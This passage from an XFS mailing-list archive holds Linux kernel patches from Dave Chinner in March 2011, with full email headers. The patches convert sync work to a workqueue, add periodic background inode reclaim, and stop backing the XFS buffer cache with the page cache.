mp->m_sync_work.w_mount = mp; - mp->m_sync_work.w_completion = NULL; + INIT_DELAYED_WORK(&mp->m_sync_work, xfs_sync_worker); + xfs_syncd_queue_sync(mp); + mp->m_sync_task = kthread_run(xfssyncd, mp, "xfssyncd/%s", mp->m_fsname); if (IS_ERR(mp->m_sync_task)) return -PTR_ERR(mp->m_sync_task); @@ -582,6 +579,7 @@ void xfs_syncd_stop( struct xfs_mount *mp) { + cancel_delayed_work_sync(&mp->m_sync_work); kthread_stop(mp->m_sync_task); } diff --git a/fs/xfs/linux-2.6/xfs_sync.h b/fs/xfs/linux-2.6/xfs_sync.h index 32ba662..e3a6ad2 100644 --- a/fs/xfs/linux-2.6/xfs_sync.h +++ b/fs/xfs/linux-2.6/xfs_sync.h @@ -32,6 +32,8 @@ typedef struct xfs_sync_work { #define SYNC_WAIT 0x0001 /* wait for i/o to complete */ #define SYNC_TRYLOCK 0x0002 /* only try to lock inodes */ +extern struct workqueue_struct *xfs_syncd_wq; /* sync workqueue */ + int xfs_syncd_init(struct xfs_mount *mp); void xfs_syncd_stop(struct xfs_mount *mp); diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index a62e897..2c11e62 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -203,12 +203,10 @@ typedef struct xfs_mount { struct mutex m_icsb_mutex; /* balancer sync lock */ #endif struct xfs_mru_cache *m_filestream; /* per-mount filestream data */ + struct delayed_work m_sync_work; /* background sync work */ struct task_struct *m_sync_task; /* generalised sync thread */ - xfs_sync_work_t m_sync_work; /* work item for VFS_SYNC */ struct list_head m_sync_list; /* sync thread work item list */ spinlock_t m_sync_lock; /* work item list lock */ - int m_sync_seq; /* sync thread generation no. */ - wait_queue_head_t m_wait_single_sync_task; __int64_t m_update_flags; /* sb flags we need to update on the next remount,rw */ struct shrinker m_inode_shrink; /* inode reclaim shrinker */ -- 1.7.2.3 From dave@fromorbit.com Wed Mar 9 18:03:54 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_72 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2A03mg7068892 for ; Wed, 9 Mar 2011 18:03:54 -0600 X-ASG-Debug-ID: 1299715596-325f02b50000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E52D1333C45 for ; Wed, 9 Mar 2011 16:06:37 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Fa9cIOTgJx0s4QZ9 for ; Wed, 09 Mar 2011 16:06:37 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAC6ld015LK5J/2dsb2JhbACmcXXDK4MBgmQE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 10:35:36 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1PxTNn-0002vT-0c for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:35 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxTNk-0002tC-Vp for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:32 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 4/6] xfs: introduce background inode reclaim work Subject: [PATCH 4/6] xfs: introduce background inode reclaim work Date: Thu, 10 Mar 2011 11:05:27 +1100 Message-Id: <1299715529-11026-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1299715529-11026-1-git-send-email-david@fromorbit.com> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299715598 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57548 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner Background inode reclaim needs to run more frequently that the XFS syncd work is run as 30s is too long between optimal reclaim runs. Add a new periodic work item to the xfs syncd workqueue to run a fast, non-blocking inode reclaim scan. To make memory reclaim based inode reclaim throttle to inode cleaning but still reclaim inodes efficiently, make it kick the background inode reclaim so that when we are low on memory we are trying to reclaim inodes as efficiently as possible. To contrast this, make the shrinker past do synchronous inode reclaim so that it blocks on inodes under IO. This means that the shrinker will reclaim inodes rather than just skipping over them, but it does not adversely affect the rate of reclaim because most dirty inodes are already under IO due to the background reclaim work the shrinker kicked. These two modifications solve one of the two OOM killer invocations Chris Mason reported recently when running a stress testing script. The particular workload trigger for the OOM killer invocation is where there are more threads than CPUs all unlinking files in an extremely memory constrained environment. Unlike other solutions, this one does not have a performance impact on performance when memory is not constrained or the number of concurrent threads operating is <= to the number of CPUs. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_sync.c | 56 +++++++++++++++++++++++++++++++++++++++++- fs/xfs/xfs_mount.h | 1 + 2 files changed, 55 insertions(+), 2 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_sync.c b/fs/xfs/linux-2.6/xfs_sync.c index 62e1f09..3f39d83 100644 --- a/fs/xfs/linux-2.6/xfs_sync.c +++ b/fs/xfs/linux-2.6/xfs_sync.c @@ -470,6 +470,44 @@ xfs_sync_worker( } /* + * Queue a new inode reclaim pass if there isn't one already in progress. + * Wait for completion of the flush if necessary. + */ +static void +xfs_syncd_queue_reclaim( + struct xfs_mount *mp) +{ + queue_delayed_work(xfs_syncd_wq, &mp->m_reclaim_work, + xfs_syncd_centisecs / 5 * msecs_to_jiffies(10)); +} + +/* + * This is a fast pass over the inode cache to try to get reclaim moving on as + * many inodes as possible in a short period of time. It kicks itself every few + * seconds, as well as being kicked by the inode cache shrinker when memory + * goes low. + */ +STATIC void +xfs_reclaim_worker( + struct work_struct *work) +{ + struct xfs_mount *mp = container_of(to_delayed_work(work), + struct xfs_mount, m_reclaim_work); + + /* first unpin all the dirty and stale inodes. */ + xfs_log_force(mp, XFS_LOG_SYNC); + + /* + * now scan as quickly as possible, not getting hung up on locked + * inodes or those that are already flushing. + */ + xfs_reclaim_inodes(mp, SYNC_TRYLOCK); + + /* queue us up again */ + xfs_syncd_queue_reclaim(mp); +} + +/* * Flush delayed allocate data, attempting to free up reserved space * from existing allocations. At this point a new allocation attempt * has failed with ENOSPC and we are in the process of scratching our @@ -509,7 +547,10 @@ xfs_syncd_init( { INIT_WORK(&mp->m_flush_work, xfs_flush_worker); INIT_DELAYED_WORK(&mp->m_sync_work, xfs_sync_worker); + INIT_DELAYED_WORK(&mp->m_reclaim_work, xfs_reclaim_worker); + xfs_syncd_queue_sync(mp); + xfs_syncd_queue_reclaim(mp); return 0; } @@ -519,6 +560,7 @@ xfs_syncd_stop( struct xfs_mount *mp) { cancel_delayed_work_sync(&mp->m_sync_work); + cancel_delayed_work_sync(&mp->m_reclaim_work); cancel_work_sync(&mp->m_flush_work); } @@ -954,7 +996,13 @@ xfs_reclaim_inodes( } /* - * Shrinker infrastructure. + * Inode cache shrinker. + * + * When called we make sure that there is a background (fast) inode reclaim in + * progress, while we will throttle the speed of reclaim via doiing synchronous + * reclaim of inodes. That means if we come across dirty inodes, we wait for + * them to be cleaned, which we hope will not be very long due to the + * background walker having already kicked the IO off on those dirty inodes. */ static int xfs_reclaim_inode_shrink( @@ -969,10 +1017,14 @@ xfs_reclaim_inode_shrink( mp = container_of(shrink, struct xfs_mount, m_inode_shrink); if (nr_to_scan) { + /* kick background reclaimer */ + xfs_syncd_queue_reclaim(mp); + if (!(gfp_mask & __GFP_FS)) return -1; - xfs_reclaim_inodes_ag(mp, SYNC_TRYLOCK, &nr_to_scan); + xfs_reclaim_inodes_ag(mp, SYNC_TRYLOCK | SYNC_WAIT, + &nr_to_scan); /* terminate if we don't exhaust the scan */ if (nr_to_scan > 0) return -1; diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index a0ad90e..19af0ab 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -204,6 +204,7 @@ typedef struct xfs_mount { #endif struct xfs_mru_cache *m_filestream; /* per-mount filestream data */ struct delayed_work m_sync_work; /* background sync work */ + struct delayed_work m_reclaim_work; /* background inode reclaim */ struct work_struct m_flush_work; /* background inode flush */ __int64_t m_update_flags; /* sb flags we need to update on the next remount,rw */ -- 1.7.2.3 From dave@fromorbit.com Wed Mar 9 19:02:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.6 required=5.0 tests=BAYES_00,J_CHICKENPOX_35, J_CHICKENPOX_43,J_CHICKENPOX_66 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2A12MmB071634 for ; Wed, 9 Mar 2011 19:02:28 -0600 X-ASG-Debug-ID: 1299719109-44c402b80000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 819A51310069 for ; Wed, 9 Mar 2011 17:05:09 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 3FrbWTjqxCitEqlF for ; Wed, 09 Mar 2011 17:05:09 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEALuvd015LK5J/2dsb2JhbACmcXXDK4MBgmQE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 11:35:07 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1PxUJE-000331-HR; Thu, 10 Mar 2011 12:04:56 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxUJM-00037Q-ER; Thu, 10 Mar 2011 12:05:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: chris.mason@oracle.com X-ASG-Orig-Subj: [PATCH] xfs: stop using the page cache to back the buffer cache Subject: [PATCH] xfs: stop using the page cache to back the buffer cache Date: Thu, 10 Mar 2011 12:05:04 +1100 Message-Id: <1299719104-11961-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299719111 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57551 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner Now that the buffer cache has it's own LRU, we do not need to use the page cache to provide persistent caching and reclaim infrastructure. Convert the buffer cache to use alloc_pages() instead of the page cache. This will remove all the overhead of page cache management from setup and teardown of the buffers, as well as needing to mark pages accessed as we find buffers in the buffer cache. By avoiding the page cache, we also remove the need to keep state in the page_private(page) field for persistant storage across buffer free/buffer rebuild and so all that code can be removed. This also fixes the long-standing problem of not having enough bits in the page_private field to track all the state needed for a 512 sector/64k page setup. It also removes the need for page locking during reads as the pages are unique to the buffer and nobody else will be attempting to access them. Finally, it removes the buftarg address space lock as a point of global contention on workloads that allocate and free buffers quickly such as when creating or removing large numbers of inodes in parallel. This remove the 16TB limit on filesystem size on 32 bit machines as the page index (32 bit) is no longer used for lookups of metadata buffers - the buffer cache is now solely indexed by disk address which is stored in a 64 bit field in the buffer. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_buf.c | 337 ++++++++++---------------------------------- fs/xfs/linux-2.6/xfs_buf.h | 40 +----- 2 files changed, 81 insertions(+), 296 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c index a5a260f..332b76b 100644 --- a/fs/xfs/linux-2.6/xfs_buf.c +++ b/fs/xfs/linux-2.6/xfs_buf.c @@ -94,75 +94,6 @@ xfs_buf_vmap_len( } /* - * Page Region interfaces. - * - * For pages in filesystems where the blocksize is smaller than the - * pagesize, we use the page->private field (long) to hold a bitmap - * of uptodate regions within the page. - * - * Each such region is "bytes per page / bits per long" bytes long. - * - * NBPPR == number-of-bytes-per-page-region - * BTOPR == bytes-to-page-region (rounded up) - * BTOPRT == bytes-to-page-region-truncated (rounded down) - */ -#if (BITS_PER_LONG == 32) -#define PRSHIFT (PAGE_CACHE_SHIFT - 5) /* (32 == 1<<5) */ -#elif (BITS_PER_LONG == 64) -#define PRSHIFT (PAGE_CACHE_SHIFT - 6) /* (64 == 1<<6) */ -#else -#error BITS_PER_LONG must be 32 or 64 -#endif -#define NBPPR (PAGE_CACHE_SIZE/BITS_PER_LONG) -#define BTOPR(b) (((unsigned int)(b) + (NBPPR - 1)) >> PRSHIFT) -#define BTOPRT(b) (((unsigned int)(b) >> PRSHIFT)) - -STATIC unsigned long -page_region_mask( - size_t offset, - size_t length) -{ - unsigned long mask; - int first, final; - - first = BTOPR(offset); - final = BTOPRT(offset + length - 1); - first = min(first, final); - - mask = ~0UL; - mask <<= BITS_PER_LONG - (final - first); - mask >>= BITS_PER_LONG - (final); - - ASSERT(offset + length <= PAGE_CACHE_SIZE); - ASSERT((final - first) < BITS_PER_LONG && (final - first) >= 0); - - return mask; -} - -STATIC void -set_page_region( - struct page *page, - size_t offset, - size_t length) -{ - set_page_private(page, - page_private(page) | page_region_mask(offset, length)); - if (page_private(page) == ~0UL) - SetPageUptodate(page); -} - -STATIC int -test_page_region( - struct page *page, - size_t offset, - size_t length) -{ - unsigned long mask = page_region_mask(offset, length); - - return (mask && (page_private(page) & mask) == mask); -} - -/* * xfs_buf_lru_add - add a buffer to the LRU. * * The LRU takes a new reference to the buffer so that it will only be freed @@ -332,7 +263,7 @@ xfs_buf_free( ASSERT(list_empty(&bp->b_lru)); - if (bp->b_flags & (_XBF_PAGE_CACHE|_XBF_PAGES)) { + if (bp->b_flags & _XBF_PAGES) { uint i; if (xfs_buf_is_vmapped(bp)) @@ -342,25 +273,22 @@ xfs_buf_free( for (i = 0; i < bp->b_page_count; i++) { struct page *page = bp->b_pages[i]; - if (bp->b_flags & _XBF_PAGE_CACHE) - ASSERT(!PagePrivate(page)); - page_cache_release(page); + __free_page(page); } - } + } else if (bp->b_flags & _XBF_KMEM) + kmem_free(bp->b_addr); _xfs_buf_free_pages(bp); xfs_buf_deallocate(bp); } /* - * Finds all pages for buffer in question and builds it's page list. + * Allocates all the pages for buffer in question and builds it's page list. */ STATIC int -_xfs_buf_lookup_pages( +xfs_buf_allocate_memory( xfs_buf_t *bp, uint flags) { - struct address_space *mapping = bp->b_target->bt_mapping; - size_t blocksize = bp->b_target->bt_bsize; size_t size = bp->b_count_desired; size_t nbytes, offset; gfp_t gfp_mask = xb_to_gfp(flags); @@ -369,29 +297,55 @@ _xfs_buf_lookup_pages( xfs_off_t end; int error; + /* + * for buffers that are contained within a single page, just allocate + * the memory from the heap - there's no need for the complexity of + * page arrays to keep allocation down to order 0. + */ + if (bp->b_buffer_length < PAGE_SIZE) { + bp->b_addr = kmem_alloc(bp->b_buffer_length, xb_to_km(flags)); + if (!bp->b_addr) { + /* low memory - use alloc_page loop instead */ + goto use_alloc_page; + } + + if (((unsigned long)(bp->b_addr + bp->b_buffer_length - 1) & + PAGE_MASK) != + ((unsigned long)bp->b_addr & PAGE_MASK)) { + /* b_addr spans two pages - use alloc_page instead */ + kmem_free(bp->b_addr); + bp->b_addr = NULL; + goto use_alloc_page; + } + bp->b_offset = offset_in_page(bp->b_addr); + bp->b_pages = bp->b_page_array; + bp->b_pages[0] = virt_to_page(bp->b_addr); + bp->b_page_count = 1; + bp->b_flags |= XBF_MAPPED | _XBF_KMEM; + return 0; + } + +use_alloc_page: end = bp->b_file_offset + bp->b_buffer_length; page_count = xfs_buf_btoc(end) - xfs_buf_btoct(bp->b_file_offset); - error = _xfs_buf_get_pages(bp, page_count, flags); if (unlikely(error)) return error; - bp->b_flags |= _XBF_PAGE_CACHE; offset = bp->b_offset; - first = bp->b_file_offset >> PAGE_CACHE_SHIFT; + first = bp->b_file_offset >> PAGE_SHIFT; + bp->b_flags |= _XBF_PAGES; for (i = 0; i < bp->b_page_count; i++) { struct page *page; uint retries = 0; - - retry: - page = find_or_create_page(mapping, first + i, gfp_mask); +retry: + page = alloc_page(gfp_mask); if (unlikely(page == NULL)) { if (flags & XBF_READ_AHEAD) { bp->b_page_count = i; - for (i = 0; i < bp->b_page_count; i++) - unlock_page(bp->b_pages[i]); - return -ENOMEM; + error = ENOMEM; + goto out_free_pages; } /* @@ -412,33 +366,16 @@ _xfs_buf_lookup_pages( XFS_STATS_INC(xb_page_found); - nbytes = min_t(size_t, size, PAGE_CACHE_SIZE - offset); + nbytes = min_t(size_t, size, PAGE_SIZE - offset); size -= nbytes; - - ASSERT(!PagePrivate(page)); - if (!PageUptodate(page)) { - page_count--; - if (blocksize >= PAGE_CACHE_SIZE) { - if (flags & XBF_READ) - bp->b_flags |= _XBF_PAGE_LOCKED; - } else if (!PagePrivate(page)) { - if (test_page_region(page, offset, nbytes)) - page_count++; - } - } - bp->b_pages[i] = page; offset = 0; } + return 0; - if (!(bp->b_flags & _XBF_PAGE_LOCKED)) { - for (i = 0; i < bp->b_page_count; i++) - unlock_page(bp->b_pages[i]); - } - - if (page_count == bp->b_page_count) - bp->b_flags |= XBF_DONE; - +out_free_pages: + for (i = 0; i < bp->b_page_count; i++) + __free_page(bp->b_pages[i]); return error; } @@ -450,8 +387,9 @@ _xfs_buf_map_pages( xfs_buf_t *bp, uint flags) { - /* A single page buffer is always mappable */ + ASSERT(bp->b_flags & _XBF_PAGES); if (bp->b_page_count == 1) { + /* A single page buffer is always mappable */ bp->b_addr = page_address(bp->b_pages[0]) + bp->b_offset; bp->b_flags |= XBF_MAPPED; } else if (flags & XBF_MAPPED) { @@ -576,9 +514,14 @@ found: } } + /* + * if the buffer is stale, clear all the external state associated with + * it. We need to keep flags such as how we allocated the buffer memory + * intact here. + */ if (bp->b_flags & XBF_STALE) { ASSERT((bp->b_flags & _XBF_DELWRI_Q) == 0); - bp->b_flags &= XBF_MAPPED; + bp->b_flags &= XBF_MAPPED | _XBF_KMEM | _XBF_PAGES; } trace_xfs_buf_find(bp, flags, _RET_IP_); @@ -599,7 +542,7 @@ xfs_buf_get( xfs_buf_flags_t flags) { xfs_buf_t *bp, *new_bp; - int error = 0, i; + int error = 0; new_bp = xfs_buf_allocate(flags); if (unlikely(!new_bp)) @@ -607,7 +550,7 @@ xfs_buf_get( bp = _xfs_buf_find(target, ioff, isize, flags, new_bp); if (bp == new_bp) { - error = _xfs_buf_lookup_pages(bp, flags); + error = xfs_buf_allocate_memory(bp, flags); if (error) goto no_buffer; } else { @@ -616,9 +559,6 @@ xfs_buf_get( return NULL; } - for (i = 0; i < bp->b_page_count; i++) - mark_page_accessed(bp->b_pages[i]); - if (!(bp->b_flags & XBF_MAPPED)) { error = _xfs_buf_map_pages(bp, flags); if (unlikely(error)) { @@ -719,7 +659,7 @@ xfs_buf_readahead( { struct backing_dev_info *bdi; - bdi = target->bt_mapping->backing_dev_info; + bdi = blk_get_backing_dev_info(target->bt_bdev); if (bdi_read_congested(bdi)) return; @@ -798,10 +738,10 @@ xfs_buf_associate_memory( size_t buflen; int page_count; - pageaddr = (unsigned long)mem & PAGE_CACHE_MASK; + pageaddr = (unsigned long)mem & PAGE_MASK; offset = (unsigned long)mem - pageaddr; - buflen = PAGE_CACHE_ALIGN(len + offset); - page_count = buflen >> PAGE_CACHE_SHIFT; + buflen = PAGE_ALIGN(len + offset); + page_count = buflen >> PAGE_SHIFT; /* Free any previous set of page pointers */ if (bp->b_pages) @@ -818,13 +758,12 @@ xfs_buf_associate_memory( for (i = 0; i < bp->b_page_count; i++) { bp->b_pages[i] = mem_to_page((void *)pageaddr); - pageaddr += PAGE_CACHE_SIZE; + pageaddr += PAGE_SIZE; } bp->b_count_desired = len; bp->b_buffer_length = buflen; bp->b_flags |= XBF_MAPPED; - bp->b_flags &= ~_XBF_PAGE_LOCKED; return 0; } @@ -931,20 +870,7 @@ xfs_buf_rele( /* - * Mutual exclusion on buffers. Locking model: - * - * Buffers associated with inodes for which buffer locking - * is not enabled are not protected by semaphores, and are - * assumed to be exclusively owned by the caller. There is a - * spinlock in the buffer, used by the caller when concurrent - * access is possible. - */ - -/* - * Locks a buffer object, if it is not already locked. Note that this in - * no way locks the underlying pages, so it is only useful for - * synchronizing concurrent use of buffer objects, not for synchronizing - * independent access to the underlying pages. + * Lock a buffer object, if it is not already locked. * * If we come across a stale, pinned, locked buffer, we know that we are * being asked to lock a buffer that has been reallocated. Because it is @@ -978,10 +904,7 @@ xfs_buf_lock_value( } /* - * Locks a buffer object. - * Note that this in no way locks the underlying pages, so it is only - * useful for synchronizing concurrent use of buffer objects, not for - * synchronizing independent access to the underlying pages. + * Lock a buffer object. * * If we come across a stale, pinned, locked buffer, we know that we * are being asked to lock a buffer that has been reallocated. Because @@ -998,7 +921,7 @@ xfs_buf_lock( if (atomic_read(&bp->b_pin_count) && (bp->b_flags & XBF_STALE)) xfs_log_force(bp->b_target->bt_mount, 0); if (atomic_read(&bp->b_io_remaining)) - blk_run_address_space(bp->b_target->bt_mapping); + blk_run_backing_dev(bp->b_target->bt_bdi, NULL); down(&bp->b_sema); XB_SET_OWNER(bp); @@ -1043,7 +966,7 @@ xfs_buf_wait_unpin( if (atomic_read(&bp->b_pin_count) == 0) break; if (atomic_read(&bp->b_io_remaining)) - blk_run_address_space(bp->b_target->bt_mapping); + blk_run_backing_dev(bp->b_target->bt_bdi, NULL); schedule(); } remove_wait_queue(&bp->b_waiters, &wait); @@ -1256,10 +1179,8 @@ _xfs_buf_ioend( xfs_buf_t *bp, int schedule) { - if (atomic_dec_and_test(&bp->b_io_remaining) == 1) { - bp->b_flags &= ~_XBF_PAGE_LOCKED; + if (atomic_dec_and_test(&bp->b_io_remaining) == 1) xfs_buf_ioend(bp, schedule); - } } STATIC void @@ -1268,35 +1189,12 @@ xfs_buf_bio_end_io( int error) { xfs_buf_t *bp = (xfs_buf_t *)bio->bi_private; - unsigned int blocksize = bp->b_target->bt_bsize; - struct bio_vec *bvec = bio->bi_io_vec + bio->bi_vcnt - 1; xfs_buf_ioerror(bp, -error); if (!error && xfs_buf_is_vmapped(bp) && (bp->b_flags & XBF_READ)) invalidate_kernel_vmap_range(bp->b_addr, xfs_buf_vmap_len(bp)); - do { - struct page *page = bvec->bv_page; - - ASSERT(!PagePrivate(page)); - if (unlikely(bp->b_error)) { - if (bp->b_flags & XBF_READ) - ClearPageUptodate(page); - } else if (blocksize >= PAGE_CACHE_SIZE) { - SetPageUptodate(page); - } else if (!PagePrivate(page) && - (bp->b_flags & _XBF_PAGE_CACHE)) { - set_page_region(page, bvec->bv_offset, bvec->bv_len); - } - - if (--bvec >= bio->bi_io_vec) - prefetchw(&bvec->bv_page->flags); - - if (bp->b_flags & _XBF_PAGE_LOCKED) - unlock_page(page); - } while (bvec >= bio->bi_io_vec); - _xfs_buf_ioend(bp, 1); bio_put(bio); } @@ -1310,7 +1208,6 @@ _xfs_buf_ioapply( int offset = bp->b_offset; int size = bp->b_count_desired; sector_t sector = bp->b_bn; - unsigned int blocksize = bp->b_target->bt_bsize; total_nr_pages = bp->b_page_count; map_i = 0; @@ -1331,29 +1228,6 @@ _xfs_buf_ioapply( (bp->b_flags & XBF_READ_AHEAD) ? READA : READ; } - /* Special code path for reading a sub page size buffer in -- - * we populate up the whole page, and hence the other metadata - * in the same page. This optimization is only valid when the - * filesystem block size is not smaller than the page size. - */ - if ((bp->b_buffer_length < PAGE_CACHE_SIZE) && - ((bp->b_flags & (XBF_READ|_XBF_PAGE_LOCKED)) == - (XBF_READ|_XBF_PAGE_LOCKED)) && - (blocksize >= PAGE_CACHE_SIZE)) { - bio = bio_alloc(GFP_NOIO, 1); - - bio->bi_bdev = bp->b_target->bt_bdev; - bio->bi_sector = sector - (offset >> BBSHIFT); - bio->bi_end_io = xfs_buf_bio_end_io; - bio->bi_private = bp; - - bio_add_page(bio, bp->b_pages[0], PAGE_CACHE_SIZE, 0); - size = 0; - - atomic_inc(&bp->b_io_remaining); - - goto submit_io; - } next_chunk: atomic_inc(&bp->b_io_remaining); @@ -1367,8 +1241,9 @@ next_chunk: bio->bi_end_io = xfs_buf_bio_end_io; bio->bi_private = bp; + for (; size && nr_pages; nr_pages--, map_i++) { - int rbytes, nbytes = PAGE_CACHE_SIZE - offset; + int rbytes, nbytes = PAGE_SIZE - offset; if (nbytes > size) nbytes = size; @@ -1383,7 +1258,6 @@ next_chunk: total_nr_pages--; } -submit_io: if (likely(bio->bi_size)) { if (xfs_buf_is_vmapped(bp)) { flush_kernel_vmap_range(bp->b_addr, @@ -1393,18 +1267,7 @@ submit_io: if (size) goto next_chunk; } else { - /* - * if we get here, no pages were added to the bio. However, - * we can't just error out here - if the pages are locked then - * we have to unlock them otherwise we can hang on a later - * access to the page. - */ xfs_buf_ioerror(bp, EIO); - if (bp->b_flags & _XBF_PAGE_LOCKED) { - int i; - for (i = 0; i < bp->b_page_count; i++) - unlock_page(bp->b_pages[i]); - } bio_put(bio); } } @@ -1450,7 +1313,7 @@ xfs_buf_iowait( trace_xfs_buf_iowait(bp, _RET_IP_); if (atomic_read(&bp->b_io_remaining)) - blk_run_address_space(bp->b_target->bt_mapping); + blk_run_backing_dev(bp->b_target->bt_bdi, NULL); wait_for_completion(&bp->b_iowait); trace_xfs_buf_iowait_done(bp, _RET_IP_); @@ -1468,8 +1331,8 @@ xfs_buf_offset( return XFS_BUF_PTR(bp) + offset; offset += bp->b_offset; - page = bp->b_pages[offset >> PAGE_CACHE_SHIFT]; - return (xfs_caddr_t)page_address(page) + (offset & (PAGE_CACHE_SIZE-1)); + page = bp->b_pages[offset >> PAGE_SHIFT]; + return (xfs_caddr_t)page_address(page) + (offset & (PAGE_SIZE-1)); } /* @@ -1491,9 +1354,9 @@ xfs_buf_iomove( page = bp->b_pages[xfs_buf_btoct(boff + bp->b_offset)]; cpoff = xfs_buf_poff(boff + bp->b_offset); csize = min_t(size_t, - PAGE_CACHE_SIZE-cpoff, bp->b_count_desired-boff); + PAGE_SIZE-cpoff, bp->b_count_desired-boff); - ASSERT(((csize + cpoff) <= PAGE_CACHE_SIZE)); + ASSERT(((csize + cpoff) <= PAGE_SIZE)); switch (mode) { case XBRW_ZERO: @@ -1606,7 +1469,6 @@ xfs_free_buftarg( xfs_flush_buftarg(btp, 1); if (mp->m_flags & XFS_MOUNT_BARRIER) xfs_blkdev_issue_flush(btp); - iput(btp->bt_mapping->host); kthread_stop(btp->bt_task); kmem_free(btp); @@ -1630,15 +1492,6 @@ xfs_setsize_buftarg_flags( return EINVAL; } - if (verbose && - (PAGE_CACHE_SIZE / BITS_PER_LONG) > sectorsize) { - printk(KERN_WARNING - "XFS: %u byte sectors in use on device %s. " - "This is suboptimal; %u or greater is ideal.\n", - sectorsize, XFS_BUFTARG_NAME(btp), - (unsigned int)PAGE_CACHE_SIZE / BITS_PER_LONG); - } - return 0; } @@ -1653,7 +1506,7 @@ xfs_setsize_buftarg_early( struct block_device *bdev) { return xfs_setsize_buftarg_flags(btp, - PAGE_CACHE_SIZE, bdev_logical_block_size(bdev), 0); + PAGE_SIZE, bdev_logical_block_size(bdev), 0); } int @@ -1666,41 +1519,6 @@ xfs_setsize_buftarg( } STATIC int -xfs_mapping_buftarg( - xfs_buftarg_t *btp, - struct block_device *bdev) -{ - struct backing_dev_info *bdi; - struct inode *inode; - struct address_space *mapping; - static const struct address_space_operations mapping_aops = { - .sync_page = block_sync_page, - .migratepage = fail_migrate_page, - }; - - inode = new_inode(bdev->bd_inode->i_sb); - if (!inode) { - printk(KERN_WARNING - "XFS: Cannot allocate mapping inode for device %s\n", - XFS_BUFTARG_NAME(btp)); - return ENOMEM; - } - inode->i_ino = get_next_ino(); - inode->i_mode = S_IFBLK; - inode->i_bdev = bdev; - inode->i_rdev = bdev->bd_dev; - bdi = blk_get_backing_dev_info(bdev); - if (!bdi) - bdi = &default_backing_dev_info; - 